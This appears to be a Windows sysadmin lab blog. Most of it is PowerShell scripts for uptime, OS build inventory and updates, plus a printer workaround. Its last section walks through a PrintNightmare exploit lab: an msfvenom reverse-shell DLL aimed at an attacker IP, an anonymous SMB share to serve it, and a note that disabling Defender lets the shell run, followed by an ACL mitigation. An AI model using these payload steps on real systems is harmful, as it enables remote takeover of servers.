In this lab, I have used PS to get LastReboot and Uptime value on Windows servers and clients. PS script will query “Get-WmiObject” to get the last boot time of the computers/servers.
# This script is written by Tung on 2022-02-18
# This is used to get lastreboot and uptime on Windows servers.
# Get time when running the script
$filename = (Get-Date).tostring("dd-MM-yyyy-hh-mm")
# Change PowerShell working directory to C:\Shared
Set-Location C:\Shared
#$TestComputerName = get-content C:\Shared\tungmachine.txt
$servers = (Get-ADComputer -properties OperatingSystem -filter{(operatingsystem -like "*Windows Server*")}).name
Foreach ($server in $servers) {
# Only check the machine if it is online
$ping_result = Test-Connection -ComputerName $server -Count 1 -Quiet
# If the machine is online
if($ping_result){
# Using "Get-WmiObject Win32_OperatingSystem" to get $OS object
# Using "Get-WmiObject Win32_OperatingSystem -ComputerName $Testcomputer -ErrorAction Stop" to get $OS object on remote machines.
$OS = Get-WmiObject Win32_OperatingSystem -ComputerName $server -ErrorAction Stop
# Get LastReboot via $OS.LastBootUpTime variable
$LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")
# Get Uptime via $OS.LastBootUpTime variable
$Uptime = (Get-Date) -$OS.ConvertToDateTime($OS.LastBootUpTime)
# Create a hash table (dictionary type) with 3 columns: PSComputerName, LastReboot and Uptime
$lastlogonproperties = @{
# Add PSComputerName into column #1
PSComputerName = $server
# Convert and only get dd-mm-yyyy on last reboot variable.
# Add LastReboot into column #2
# Only get dd-mm-yyy field on LastReboot record.
LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")
# Add LastReboot into column #3
Uptime = ([String]$Uptime.Days + " Days " + $Uptime.Hours + " Hours " + $Uptime.Minutes + " Minutes")
}
# Create a new table object on PS to append the hash table values above
$forcecsv = New-Object psobject -Property $lastlogonproperties
# change order of columns before appending to csv file.
# Convert it to csv file and save under LastReboot directory.
$forcecsv | select-object PSComputerName, LastReboot, Uptime | export-csv -NoTypeInformation -append "C:\Shared\LastReboot\Server\$filename.csv"
}
}
Run the script.
Change “(operatingsystem -like “*Windows Server*”)” to (operatingsystem -like “*Windows 10*”)
# This script is written by Tung on 2022-02-18
# This is is used t get lastreboot and uptime on Windows 10 machines.
# Get time when running the script
$filename = (Get-Date).tostring("dd-MM-yyyy-hh-mm")
# Change PowerShell working directory to C:\Shared
Set-Location C:\Shared
#$TestComputerName = get-content C:\Shared\tungmachine.txt
$computers = (Get-ADComputer -properties OperatingSystem -filter{(operatingsystem -like "*Windows 10*")}).name
Foreach ($Computer in $computers) {
# Only check the machine if it is online
$ping_result = Test-Connection -ComputerName $Computer -Count 1 -Quiet
# If the machine is online
if($ping_result){
# Using "Get-WmiObject Win32_OperatingSystem" to get $OS object
# Using "Get-WmiObject Win32_OperatingSystem -ComputerName $Testcomputer -ErrorAction Stop" to get $OS object on remote machines.
$OS = Get-WmiObject Win32_OperatingSystem -ComputerName $Computer -ErrorAction Stop
# Get LastReboot via $OS.LastBootUpTime variable
$LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")
# Get Uptime via $OS.LastBootUpTime variable
$Uptime = (Get-Date) -$OS.ConvertToDateTime($OS.LastBootUpTime)
# Create a hash table (dictionary type) with 3 columns: PSComputerName, LastReboot and Uptime
$lastlogonproperties = @{
# Add PSComputerName into column #1
PSComputerName = $Computer
# Convert and only get dd-mm-yyyy on last reboot variable.
# Add LastReboot into column #2
# Only get dd-mm-yyy field on LastReboot record.
LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")
# Add LastReboot into column #3
Uptime = ([String]$Uptime.Days + " Days " + $Uptime.Hours + " Hours " + $Uptime.Minutes + " Minutes")
}
# Create a new table object on PS to append the hash table values above
$forcecsv = New-Object psobject -Property $lastlogonproperties
# change order of columns before appending to csv file.
# Convert it to csv file and save under LastReboot directory.
$forcecsv | select-object PSComputerName, LastReboot, Uptime | export-csv -NoTypeInformation -append "C:\Shared\LastReboot\Client\$filename.csv"
}
}
According to Microsoft, (https://www.microsoft.com/security/blog/2021/05/11/gartner-names-microsoft-a-leader-in-the-2021-endpoint-protection-platforms-magic-quadrant/), Microsoft Windows Defender becomes a Leader in the 2021 Endpoint Protection Platforms Magic Quadrant.
Checking Windows Defender status on a Windows computer.
#checkdate in the last 24 hours
$checkdate = (Get-Date).AddHours(-24)
#check all files have been modified in the last 24 hours and output file name, size and the time was last modified
Get-ChildItem -Path C:\Shared -file -Recurse | Where-Object {$_.LastWriteTime -ge $checkdate} | Select-Object -Property Fullname,Length,LastWriteTime
#checkdate in the last 90days
$checkdate = (Get-Date).AddDays(-90)
#check files on the C:\users\Administrator\Downloads directory and at least 100MB in size and LastWriteTime is less than $checkdate. Then output the result to csv file.
$files = Get-ChildItem -Path C:\users\Administrator\Downloads -file -Recurse |
Where-Object {$_.length -ge 100MB -AND $_.LastWriteTime -le $checkdate} |
Select Fullname,Length,CreationTime,LastWriteTime |
Export-CSV -Path myfiles-90days_100MB.csv
Import-Module ServerManager
Add-WindowsFeature -Name "RSAT-AD-PowerShell" –IncludeAllSubFeature
# Check the installation status of a module
Get-WindowsFeature RSAT-AD-PowerShell
According to (https://github.com/gorhill/uBlock), Ublock Origin is an efficient blocker add-on for various browsers. Fast, potent, and lean. uBlock Origin is NOT an “ad blocker”: it is a wide-spectrum blocker — which happens to be able to function as a mere “ad blocker”. The default behavior of uBlock Origin when newly installed is to block ads, trackers, and malware sites.
+ Create a central store for GPO
Copies Chrome, Firefox, MS Edge Policy templates under C:\Windows\SYSVOL\sysvol\cisalab.local\Policies\PolicyDefinitions (copy to C:\Windows\SYSVOL\sysvol rather than \\SERVER\SYSVOL folder)
Google Chrome. Control which extensions are installed silently – Enabled cjpalhdlnbpafiamejdnhcphjbkeiagm;https://clients2.google.com/service/update2/crx
This is a PS code to get the current Windows OS build version. It is based on (“https://smsagent.blog/2017/05/18/find-the-full-windows-build-number-with-powershell/”)
—
Function Get-WindowsVersion{
[CmdletBinding()]
Param
(
[Parameter(Mandatory=$false,
ValueFromPipelineByPropertyName=$true,
ValueFromPipeline=$true
)]
[string[]]$ComputerName = $env:COMPUTERNAME
)
Begin
{
$Table = New-Object System.Data.DataTable
$Table.Columns.AddRange(@("ComputerName","Windows Edition","Version","OS Build"))
}
Process
{
Foreach ($Computer in $ComputerName)
{
$Code = {
$ProductName = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' –Name ProductName).ProductName
Try
{
$Version = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' –Name ReleaseID –ErrorAction Stop).ReleaseID
}
Catch
{
$Version = "N/A"
}
$CurrentBuild = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' –Name CurrentBuild).CurrentBuild
$UBR = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' –Name UBR).UBR
$OSVersion = $CurrentBuild + "." + $UBR
# Get-CimInstance Win32_OperatingSystem to list Build number in the machine
$getOS = gcim Win32_OperatingSystem
# Assign the initial value for this variable
$currentOSVersion = "Unknown OS"
# Check Build number is corresponding with Windows 10 and Windows Server OS edition.
# https://docs.microsoft.com/en-us/windows/release-health/release-information
# https://docs.microsoft.com/en-us/windows-server/get-started/windows-server-release-info
Switch -WildCard ($getOS.BuildNumber){
# if BuildNumber is 19043, Windows version is Windows 10 21H1 and so on.
'*19043*'{$currentOSVersion = "21H1"}
'*19042*'{$currentOSVersion = "20H2"}
'*19041*'{$currentOSVersion = "2004"}
'*18363*'{$currentOSVersion = "1909"}
'*18362*'{$currentOSVersion = "1903"}
'*17763*'{$currentOSVersion = "1809"}
# if BuildNumber is 14393, Windows version is Windows Server 2016 version 1067 and so on.
'*14393*'{$currentOSVersion = "1607"}
'*17763.107*'{$currentOSVersion = "1809"}
'*18363.418*'{$currentOSVersion = "1909"}
'*19041.264*'{$currentOSVersion = "2004"}
'*19042.508*'{$currentOSVersion = "20H2"}
'*20348.169*'{$currentOSVersion = "2022"}
}
$TempTable = New-Object System.Data.DataTable
$TempTable.Columns.AddRange(@("ComputerName","Windows Edition","Version","OS Build"))
[void]$TempTable.Rows.Add($env:COMPUTERNAME,$ProductName,$currentOSVersion,$OSVersion)
Return $TempTable
}
If ($Computer -eq $env:COMPUTERNAME)
{
$Result = Invoke-Command –ScriptBlock $Code
[void]$Table.Rows.Add($Result.Computername,$Result.'Windows Edition',$Result.Version,$Result.'OS Build')
}
Else
{
Try
{
$Result = Invoke-Command –ComputerName $Computer –ScriptBlock $Code –ErrorAction Stop
[void]$Table.Rows.Add($Result.Computername,$Result.'Windows Edition',$Result.Version,$Result.'OS Build')
}
Catch
{
$_
}
}
}
}
End
{
Return $Table
}
}
—
Run the command.
PS C:\shared\ Get-MyWindowsVersion
Query all Windows 10 domain-joined on Active Directory.
Save the output to csv file
# Get date when running the script
$filename = (Get-Date).tostring("dd-MM-yyyy-hh-mm")
# Query Windows 10 domain-joined on Active Directory
$computername = (Get-ADComputer -filter {OperatingSystem -Like '*Windows 10*'}).name
foreach($computer in $computername){
# the machine is offline if the script is not ablt to get any echo reply from sending 3 echo requests
$ping_result = Test-Connection -ComputerName $computer -Count 3 -Quiet
# if the machine is online
if($ping_result){
# get Windows 10 current patch information and append the result yo csv file
get-windowsversion -computer $computer |
Select-Object -Property ComputerName, 'Windows Edition', Version, 'OS build' |
Sort-Object 'OS build' | export-csv -NoTypeInformation -Append "$filename.csv"
}
# else{
# Write-Host "Host ICMP: failure"
# }
}
Last year, Microsoft released the patch for “Windows Print Spooler Remote Code Execution Vulnerability” (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481), then Deployment Printers stopped working with the new profile. I still do not know why it will take a long time since July last year to permanently fix the issue.
Windows 10 clients cannot find our printers on Control Panel and access the printers with the “Operation failed with error 0x0000011b”.
Below is a workaround solution to fix the issue.
Create a new Dword-32 entry is RpcAuthnLevelPrivacyEnabled with its value is 0 as the following screenshot.
Go to Printer GPO – Computer setting – Administrative Templates – Printers – Point and Print Restrictions. Add a couple of pieces of information like the screenshot below.
Restart Windows clients, we can see our printers are showing up.
# This is PowerShell script to force on installing Windows Updates via PSWindowsUpdate on Windows machines
# https://www.powershellgallery.com/packages/PSWindowsUpdate/2.2.0.2
# It is created on 2021-10-21
# Allow PowerShell to be run on Windows machines with PSWindowsUpdate module
Set-ExecutionPolicy RemoteSigned
# Installs everything (newest version) along with required modules.
Install-Module PSWindowsUpdate
# Import Module PSWindowsUpdate before running the script
Import-Module -Name PSWindowsUpdate
# Force Windows updates are completely downloaded, installed and then restarted. Will check if we have a WSUS server
Install-WindowsUpdate -AcceptAll -AutoReboot
# Send an email after running PSWindowsUpdate command
# Will send email if the last previous command is successful.
if ($? -eq $True){
# Use this command for TLS requirement
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
# Get machine name
$machinename = get-content env:computername
# Get current date and time
$currentdate = get-date
# Get current date and time
$currentdate = get-date
# SMTP server of Xyz.com</p>
$SMTP = "smtp-mail.xyz.com"
# Mail from<
$From = "youremail@xyz.com"
# Rcpt to
$To = "youremail@xyz.com"# Subject line
$Subject = "Windows updates on $cname"
# Email body
$Body = "Finising running Windows updates on $machinename on $currentdate"
#Create a connection to SMTP Outlook via the port 587</p>
$Email = New-Object Net.Mail.SmtpClient($SMTP, 587)
# Enable SSL for the connection
Email.EnableSsl = $true
#Log in to xyz mail server with your credential
$Email.Credentials = New-Object System.Net.NetworkCredential("youremail@xyz.com", "yourpassword");
# Send email syntax
$Email.Send($From, $To, $Subject, $Body)
}
(Use this method to allow the Windows servers to download the malicious codes on AT machine)
copy the original smb.conf file and create a backup file
cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
now on the smb.conf change to this new configuration File
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445 [smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = nobody
Spin up SMB share: impacket-smbserver smb /tmp/
In case you have some problems with the SMB try to use build-in SMBD service
service smbd start
service smbd restart
4. Payload Creation:
Create Reverse shell Payload as a DLL
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<YOUR AT IP> LPORT=<PORT TO LISTEN> -f dll -o /tmp/rev.dll
AT creates a reverse shell connection with IP address is 10.0.0.191 (AT) and the destination port is 443. The shell code will be dropped on the Windows servers on /tmp/reverse.dll
AT will create a connection to Windows server (DC1 – 10.0.0.77) with username/password is tle/123456.
Then the malicious code will be downloaded and run from the AT machine (\\10.0.0.191\smb\reverse.dll). After that, if the shellcode works then a reverse shell connection from Windows server to AT machine.
The malicious code is downloaded but it is blocked by Windows Defender on Windows servers
So, the shellcode cannot run on the Windows servers with Windows Defenders which is running.
If Windows Defender is disabled.
Run the exploit code again.
We can see a reverse shell connection has been established on the Windows server (DC) and AT machine. The connection seems to be an HTTPS connection, so it is hard to detect because of encryption.
The AT has a cmd shell with SYSTEM permission on the victim machine. That means the AT can do everything on it. Checking on Windows server (DC1), trojan code has been created on DC1 under x64 directory on “C:\Windows\System32\spool\drivers\”.
The shell code (reverse.dll) is successfully dropped on the folder named “3”. It may be a name when AT has created a reverse shell session.
By restricting the ACLs on this directory (and subdirectories) we can prevent malicious DLLs to be introduced by the print spooler service. The exploit works by dropping a DLL in a subdirectory under C:\Windows\System32\spool\drivers.
Run the exploit code again.
The trojan code cannot put its files on the directory (“RPRN SessionError: code: 0x3 – ERROR_PATH_NOT_FOUND – The system cannot find the path specified.”).